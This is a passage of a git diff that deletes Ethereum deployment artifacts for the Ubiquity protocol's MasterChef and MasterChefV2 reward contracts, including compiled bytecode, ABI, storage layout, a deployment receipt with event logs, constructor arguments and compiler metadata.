168201806040525081019061050f91906115cf565b6001600160a01b0316336001600160a01b03161461056f5760405162461bcd60e51b815260206004820181905260248201527f4d6173746572436865663a206e6f7420426f6e64696e6720436f6e747261637460448201526064016102d8565b6001600160a01b038116600090815260076020526040902061058f610a8f565b8054156105d757600181015460065482546000929164e8d4a51000916105b591906116f1565b6105bf91906116d1565b6105c99190611710565b90506105d58382610e79565b505b80546105e49084906116b9565b80825560065464e8d4a51000916105fb91906116f1565b61060591906116d1565b60018201556040518381526001600160a01b038316907fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c9060200160405180910390a2505050565b60005460408051633b4d977360e01b815290516001600160a01b03909216916391d14854918391633b4d977391600480820192602092909190829003018186803b15801561069a57600080fd5b505afa1580156106ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d2919061160b565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561070f57600080fd5b505afa158015610723573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074791906115eb565b6107935760405162461bcd60e51b815260206004820152601b60248201527f4d6173746572436865663a206e6f7420554251206d616e61676572000000000060448201526064016102d8565b600355565b6001600160a01b0380821660009081526007602090815260408083206006548454835163310c7a0f60e21b815293519596929591948794919093169263c431e83c92600480840193829003018186803b1580156107f457600080fd5b505afa158015610808573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082c91906115cf565b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561086457600080fd5b505afa158015610878573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089c919061160b565b600554909150431180156108af57508015155b1561090e5760006108be610fba565b90506000670de0b6b3a7640000600154836108d991906116f1565b6108e391906116d1565b9050826108f58264e8d4a510006116f1565b6108ff91906116d1565b61090990856116b9565b935050505b6001830154835464e8d4a51000906109279085906116f1565b61093191906116d1565b61093b9190611710565b95945050505050565b60005460408051633b4d977360e01b815290516001600160a01b03909216916391d14854918391633b4d977391600480820192602092909190829003018186803b15801561099157600080fd5b505afa1580156109a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c9919061160b565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610a0657600080fd5b505afa158015610a1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3e91906115eb565b610a8a5760405162461bcd60e51b815260206004820152601b60248201527f4d6173746572436865663a206e6f7420554251206d616e61676572000000000060448201526064016102d8565b600155565b6005544311610a9d57610e77565b610aa5610fdd565b60008060009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b158015610af457600080fd5b505afa158015610b08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2c91906115cf565b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610b6457600080fd5b505afa158015610b78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9c919061160b565b905080610bad575043600555610e77565b6000610bb7610fba565b90506000670de0b6b3a764000060015483610bd291906116f1565b610bdc91906116d1565b905060008054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b158015610c2a57600080fd5b505afa158015610c3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6291906115cf565b6040516340c10f1960e01b8152306004820152602481018390526001600160a01b0391909116906340c10f1990604401600060405180830381600087803b158015610cac57600080fd5b505af1158015610cc0573d6000803e3d6000fd5b5050505060008054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906115cf565b6001600160a01b03166340c10f1960008054906101000a90046001600160a01b03166001600160a01b031663c5f956af6040518163ffffffff1660e01b815260040160206040518083038186803b158015610da257600080fd5b505afa158015610db6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dda91906115cf565b610de56005856116d1565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b158015610e2b57600080fd5b505af1158015610e3f573d6000803e3d6000fd5b50505050828164e8d4a51000610e5591906116f1565b610e5f91906116d1565b600654610e6c91906116b9565b600655505043600555505b565b60008060009054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b158015610ec857600080fd5b505afa158015610edc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0091906115cf565b6040516370a0823160e01b81523060048201529091506000906001600160a01b038316906370a082319060240160206040518083038186803b158015610f4557600080fd5b505afa158015610f59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7d919061160b565b905080831115610fa057610f9b6001600160a01b0383168583611141565b610fb4565b610fb46001600160a01b0383168585611141565b50505050565b60025460055460009190610fce9043611710565b610fd891906116f1565b905090565b6000610fe76111ad565b9050600060045482111561100d576003546004546110059084611710565b119050611022565b6003548260045461101e9190611710565b1190505b801561113d5760008054906101000a90046001600160a01b03166001600160a01b031663214f78826040518163ffffffff1660e01b815260040160206040518083038186803b15801561107457600080fd5b505afa158015611088573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ac91906115cf565b6001600160a01b031663794e955c600254846040518363ffffffff1660e01b81526004016110e4929190918252602082015260400190565b60206040518083038186803b1580156110fc57600080fd5b505afa158015611110573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611134919061160b565b60025560048290555b5050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b1790526111a890849061133d565b505050565b60008060009054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b1580156111fc57600080fd5b505afa158015611210573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123491906115cf565b6001600160a01b031663283583c660008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561128e57600080fd5b505afa1580156112a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c691906115cf565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b15801561130557600080fd5b505afa158015611319573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd8919061160b565b6000611392826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166114229092919063ffffffff16565b8051909150156111a857808060200190518101906113b091906115eb565b6111a85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f7420737563636565640000000000000000000000000000000000000000000060648201526084016102d8565b6060611431848460008561143b565b90505b9392505050565b6060824710156114b35760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c000000000000000000000000000000000000000000000000000060648201526084016102d8565b843b6115015760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016102d8565b600080866001600160a01b0316858760405161151d919061166a565b60006040518083038185875af1925050503d806000811461155a576040519150601f19603f3d011682016040523d82523d6000602084013e61155f565b606091505b509150915061156f82828661157a565b979650505050505050565b60608315611589575081611434565b8251156115995782518084602001fd5b8160405162461bcd60e51b81526004016102d89190611686565b6000602082840312156115c4578081fd5b813561143481611769565b6000602082840312156115e0578081fd5b815161143481611769565b6000602082840312156115fc578081fd5b81518015158114611434578182fd5b60006020828403121561161c578081fd5b5051919050565b600060208284031215611634578081fd5b5035919050565b6000806040838503121561164d578081fd5b82359150602083013561165f81611769565b809150509250929050565b6000825161167c818460208701611727565b9190910192915050565b60006020825282518060208401526116a5816040850160208701611727565b601f01601f19169190910160400192915050565b600082198211156116cc576116cc611753565b500190565b6000826116ec57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561170b5761170b611753565b500290565b60008282101561172257611722611753565b500390565b60005b8381101561174257818101518382015260200161172a565b83811115610fb45750506000910152565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461177e57600080fd5b5056fea164736f6c6343000803000a", - "devdoc": { - "kind": "dev", - "methods": { - "getRewards()": { - "details": "get pending uGOV rewards from MasterChef.", - "returns": { - "_0": "amount of pending rewards transfered to msg.sender" - } - } - }, - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": { - "getRewards()": { - "notice": "only send pending rewards" - } - }, - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 8407, - "contract": "contracts/MasterChef.sol:MasterChef", - "label": "manager", - "offset": 0, - "slot": "0", - "type": "t_contract(UbiquityAlgorithmicDollarManager)10304" - }, - { - "astId": 8410, - "contract": "contracts/MasterChef.sol:MasterChef", - "label": "uGOVPerBlock", - "offset": 0, - "slot": "1", - "type": "t_uint256" - }, - { - "astId": 8413, - "contract": "contracts/MasterChef.sol:MasterChef", - "label": "uGOVmultiplier", - "offset": 0, - "slot": "2", - "type": "t_uint256" - }, - { - "astId": 8416, - "contract": "contracts/MasterChef.sol:MasterChef", - "label": "minPriceDiffToUpdateMultiplier", - "offset": 0, - "slot": "3", - "type": "t_uint256" - }, - { - "astId": 8419, - "contract": "contracts/MasterChef.sol:MasterChef", - "label": "lastPrice", - "offset": 0, - "slot": "4", - "type": "t_uint256" - }, - { - "astId": 8422, - "contract": "contracts/MasterChef.sol:MasterChef", - "label": "pool", - "offset": 0, - "slot": "5", - "type": "t_struct(PoolInfo)8404_storage" - }, - { - "astId": 8427, - "contract": "contracts/MasterChef.sol:MasterChef", - "label": "userInfo", - "offset": 0, - "slot": "7", - "type": "t_mapping(t_address,t_struct(UserInfo)8399_storage)" - } - ], - "types": { - "t_address": { - "encoding": "inplace", - "label": "address", - "numberOfBytes": "20" - }, - "t_contract(UbiquityAlgorithmicDollarManager)10304": { - "encoding": "inplace", - "label": "contract UbiquityAlgorithmicDollarManager", - "numberOfBytes": "20" - }, - "t_mapping(t_address,t_struct(UserInfo)8399_storage)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => struct MasterChef.UserInfo)", - "numberOfBytes": "32", - "value": "t_struct(UserInfo)8399_storage" - }, - "t_struct(PoolInfo)8404_storage": { - "encoding": "inplace", - "label": "struct MasterChef.PoolInfo", - "members": [ - { - "astId": 8401, - "contract": "contracts/MasterChef.sol:MasterChef", - "label": "lastRewardBlock", - "offset": 0, - "slot": "0", - "type": "t_uint256" - }, - { - "astId": 8403, - "contract": "contracts/MasterChef.sol:MasterChef", - "label": "accuGOVPerShare", - "offset": 0, - "slot": "1", - "type": "t_uint256" - } - ], - "numberOfBytes": "64" - }, - "t_struct(UserInfo)8399_storage": { - "encoding": "inplace", - "label": "struct MasterChef.UserInfo", - "members": [ - { - "astId": 8396, - "contract": "contracts/MasterChef.sol:MasterChef", - "label": "amount", - "offset": 0, - "slot": "0", - "type": "t_uint256" - }, - { - "astId": 8398, - "contract": "contracts/MasterChef.sol:MasterChef", - "label": "rewardDebt", - "offset": 0, - "slot": "1", - "type": "t_uint256" - } - ], - "numberOfBytes": "64" - }, - "t_uint256": { - "encoding": "inplace", - "label": "uint256", - "numberOfBytes": "32" - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/MasterChefV2.json b/packages/contracts/dollar/deployments/mainnet/MasterChefV2.json deleted file mode 100644 index 00abde727..000000000 --- a/packages/contracts/dollar/deployments/mainnet/MasterChefV2.json +++ /dev/null @@ -1,652 +0,0 @@ -{ - "address": "0xdae807071b5AC7B6a2a343beaD19929426dBC998", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - }, - { - "internalType": "address[]", - "name": "_tos", - "type": "address[]" - }, - { - "internalType": "uint256[]", - "name": "_amounts", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "_bondingShareIDs", - "type": "uint256[]" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "user", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "bondingShareId", - "type": "uint256" - } - ], - "name": "Deposit", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "uint256", - "name": "minPriceDiffToUpdateMultiplier", - "type": "uint256" - } - ], - "name": "MinPriceDiffToUpdateMultiplierModified", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "uint256", - "name": "uGOVPerBlock", - "type": "uint256" - } - ], - "name": "UGOVPerBlockModified", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "user", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "bondingShareId", - "type": "uint256" - } - ], - "name": "Withdraw", - "type": "event" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_bondingShareID", - "type": "uint256" - } - ], - "name": "deposit", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_id", - "type": "uint256" - } - ], - "name": "getBondingShareInfo", - "outputs": [ - { - "internalType": "uint256[2]", - "name": "", - "type": "uint256[2]" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "bondingShareID", - "type": "uint256" - } - ], - "name": "getRewards", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "lastPrice", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "minPriceDiffToUpdateMultiplier", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "bondingShareID", - "type": "uint256" - } - ], - "name": "pendingUGOV", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "pool", - "outputs": [ - { - "internalType": "uint256", - "name": "lastRewardBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "accuGOVPerShare", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_minPriceDiffToUpdateMultiplier", - "type": "uint256" - } - ], - "name": "setMinPriceDiffToUpdateMultiplier", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_uGOVPerBlock", - "type": "uint256" - } - ], - "name": "setUGOVPerBlock", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_uGOVDivider", - "type": "uint256" - } - ], - "name": "setUGOVShareForTreasury", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "totalShares", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "uGOVDivider", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "uGOVPerBlock", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "uGOVmultiplier", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_bondingShareID", - "type": "uint256" - } - ], - "name": "withdraw", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ], - "transactionHash": "0xe972391e6585ed92d35d672e0e4855089087916cec80a5ea4caa65e218a1d0d1", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0xdae807071b5AC7B6a2a343beaD19929426dBC998", - "transactionIndex": 168, - "gasUsed": "1948881", - "logsBloom": "0x04002000000000000000000000002000000000000400010000000000008000000000000000000000000000000000000008000000020400000000000000040006000010000000000000000000002000000000000200040040000000000000000008000002000200000020010000000000000000000000060000000000000000000002000600000000000000000000001000000800200000000100000000000000000000000000000000000100000000000000000000800000002000080000400000000000000000000000000000000100000000008000000000000000000040000000400000000000000000000000000000000000408000000000000000000000", - "blockHash": "0x127c47edd52d491c9578a7de202eedfa986228dc0df674450493acb53c28066c", - "transactionHash": "0xe972391e6585ed92d35d672e0e4855089087916cec80a5ea4caa65e218a1d0d1", - "logs": [ - { - "transactionIndex": 168, - "blockNumber": 13004839, - "transactionHash": "0xe972391e6585ed92d35d672e0e4855089087916cec80a5ea4caa65e218a1d0d1", - "address": "0xdae807071b5AC7B6a2a343beaD19929426dBC998", - "topics": [ - "0x90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a15", - "0x00000000000000000000000089eae71b865a2a39cba62060ab1b40bbffae5b0d", - "0x0000000000000000000000000000000000000000000000000000000000000001" - ], - "data": "0x000000000000000000000000000000000000000000000000120e149b64c88000", - "logIndex": 292, - "blockHash": "0x127c47edd52d491c9578a7de202eedfa986228dc0df674450493acb53c28066c" - }, - { - "transactionIndex": 168, - "blockNumber": 13004839, - "transactionHash": "0xe972391e6585ed92d35d672e0e4855089087916cec80a5ea4caa65e218a1d0d1", - "address": "0xdae807071b5AC7B6a2a343beaD19929426dBC998", - "topics": [ - "0x90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a15", - "0x0000000000000000000000004007ce2083c7f3e18097aeb3a39bb8ec149a341d", - "0x0000000000000000000000000000000000000000000000000000000000000002" - ], - "data": "0x000000000000000000000000000000000000000000000fcc48cebda35139d542", - "logIndex": 293, - "blockHash": "0x127c47edd52d491c9578a7de202eedfa986228dc0df674450493acb53c28066c" - }, - { - "transactionIndex": 168, - "blockNumber": 13004839, - "transactionHash": "0xe972391e6585ed92d35d672e0e4855089087916cec80a5ea4caa65e218a1d0d1", - "address": "0xdae807071b5AC7B6a2a343beaD19929426dBC998", - "topics": [ - "0x90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a15", - "0x0000000000000000000000007c76f4db70b7e2177de10de3e2f668dadcd11108", - "0x0000000000000000000000000000000000000000000000000000000000000003" - ], - "data": "0x00000000000000000000000000000000000000000000097950c4685a7a837de0", - "logIndex": 294, - "blockHash": "0x127c47edd52d491c9578a7de202eedfa986228dc0df674450493acb53c28066c" - }, - { - "transactionIndex": 168, - "blockNumber": 13004839, - "transactionHash": "0xe972391e6585ed92d35d672e0e4855089087916cec80a5ea4caa65e218a1d0d1", - "address": "0xdae807071b5AC7B6a2a343beaD19929426dBC998", - "topics": [ - "0x90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a15", - "0x0000000000000000000000000000ce08fa224696a819877070bf378e8b131acf", - "0x0000000000000000000000000000000000000000000000000000000000000004" - ], - "data": "0x000000000000000000000000000000000000000000000050438f718496692613", - "logIndex": 295, - "blockHash": "0x127c47edd52d491c9578a7de202eedfa986228dc0df674450493acb53c28066c" - }, - { - "transactionIndex": 168, - "blockNumber": 13004839, - "transactionHash": "0xe972391e6585ed92d35d672e0e4855089087916cec80a5ea4caa65e218a1d0d1", - "address": "0xdae807071b5AC7B6a2a343beaD19929426dBC998", - "topics": [ - "0x90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a15", - "0x000000000000000000000000a53a6fe2d8ad977ad926c485343ba39f32d3a3f6", - "0x0000000000000000000000000000000000000000000000000000000000000005" - ], - "data": "0x0000000000000000000000000000000000000000000001faebc1969c256d50a0", - "logIndex": 296, - "blockHash": "0x127c47edd52d491c9578a7de202eedfa986228dc0df674450493acb53c28066c" - }, - { - "transactionIndex": 168, - "blockNumber": 13004839, - "transactionHash": "0xe972391e6585ed92d35d672e0e4855089087916cec80a5ea4caa65e218a1d0d1", - "address": "0xdae807071b5AC7B6a2a343beaD19929426dBC998", - "topics": [ - "0x90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a15", - "0x000000000000000000000000cefd0e73cc48b0b9d4c8683e52b7d7396600abb2", - "0x0000000000000000000000000000000000000000000000000000000000000006" - ], - "data": "0x0000000000000000000000000000000000000000000001e770370c4f2ea5d15f", - "logIndex": 297, - "blockHash": "0x127c47edd52d491c9578a7de202eedfa986228dc0df674450493acb53c28066c" - } - ], - "blockNumber": 13004839, - "cumulativeGasUsed": "17121998", - "status": 1, - "byzantium": true - }, - "args": [ - "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", - [ - "0x89eae71b865a2a39cba62060ab1b40bbffae5b0d", - "0x4007ce2083c7f3e18097aeb3a39bb8ec149a341d", - "0x7c76f4db70b7e2177de10de3e2f668dadcd11108", - "0x0000ce08fa224696a819877070bf378e8b131acf", - "0xa53a6fe2d8ad977ad926c485343ba39f32d3a3f6", - "0xcefd0e73cc48b0b9d4c8683e52b7d7396600abb2" - ], - ["1301000000000000000", "74603879373206500005186", "44739174270101943975392", "1480607760433248019987", "9351040526163838324896", "8991650309086743220575"], - [1, 2, 3, 4, 5, 6] - ], - "solcInputHash": "2ef55afff78d23fe3e97c1bf0ee352a2", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_manager\",\"type\":\"address\"},{\"internalType\":\"address[]\",\"name\":\"_tos\",\"type\":\"address[]\"},{\"internalType\":\"uint256[]\",\"name\":\"_amounts\",\"type\":\"uint256[]\"},{\"internalType\":\"uint256[]\",\"name\":\"_bondingShareIDs\",\"type\":\"uint256[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"user\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"bondingShareId\",\"type\":\"uint256\"}],\"name\":\"Deposit\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"minPriceDiffToUpdateMultiplier\",\"type\":\"uint256\"}],\"name\":\"MinPriceDiffToUpdateMultiplierModified\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"uGOVPerBlock\",\"type\":\"uint256\"}],\"name\":\"UGOVPerBlockModified\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"user\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"bondingShareId\",\"type\":\"uint256\"}],\"name\":\"Withdraw\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_bondingShareID\",\"type\":\"uint256\"}],\"name\":\"deposit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_id\",\"type\":\"uint256\"}],\"name\":\"getBondingShareInfo\",\"outputs\":[{\"internalType\":\"uint256[2]\",\"name\":\"\",\"type\":\"uint256[2]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"bondingShareID\",\"type\":\"uint256\"}],\"name\":\"getRewards\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"lastPrice\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"manager\",\"outputs\":[{\"internalType\":\"contract UbiquityAlgorithmicDollarManager\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"minPriceDiffToUpdateMultiplier\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"bondingShareID\",\"type\":\"uint256\"}],\"name\":\"pendingUGOV\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"pool\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"lastRewardBlock\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"accuGOVPerShare\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_minPriceDiffToUpdateMultiplier\",\"type\":\"uint256\"}],\"name\":\"setMinPriceDiffToUpdateMultiplier\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_uGOVPerBlock\",\"type\":\"uint256\"}],\"name\":\"setUGOVPerBlock\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_uGOVDivider\",\"type\":\"uint256\"}],\"name\":\"setUGOVShareForTreasury\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalShares\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"uGOVDivider\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"uGOVPerBlock\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"uGOVmultiplier\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_bondingShareID\",\"type\":\"uint256\"}],\"name\":\"withdraw\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"getBondingShareInfo(uint256)\":{\"details\":\"get the amount of shares and the reward debt of a bonding share .\"},\"getRewards(uint256)\":{\"details\":\"get pending uGOV rewards from MasterChef.\",\"returns\":{\"_0\":\"amount of pending rewards transfered to msg.sender\"}},\"totalShares()\":{\"details\":\"Total amount of shares .\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"getRewards(uint256)\":{\"notice\":\"only send pending rewards\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/MasterChefV2.sol\":\"MasterChefV2\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n\\n function grantRole(bytes32 role, address account) external;\\n\\n function revokeRole(bytes32 role, address account) external;\\n\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n 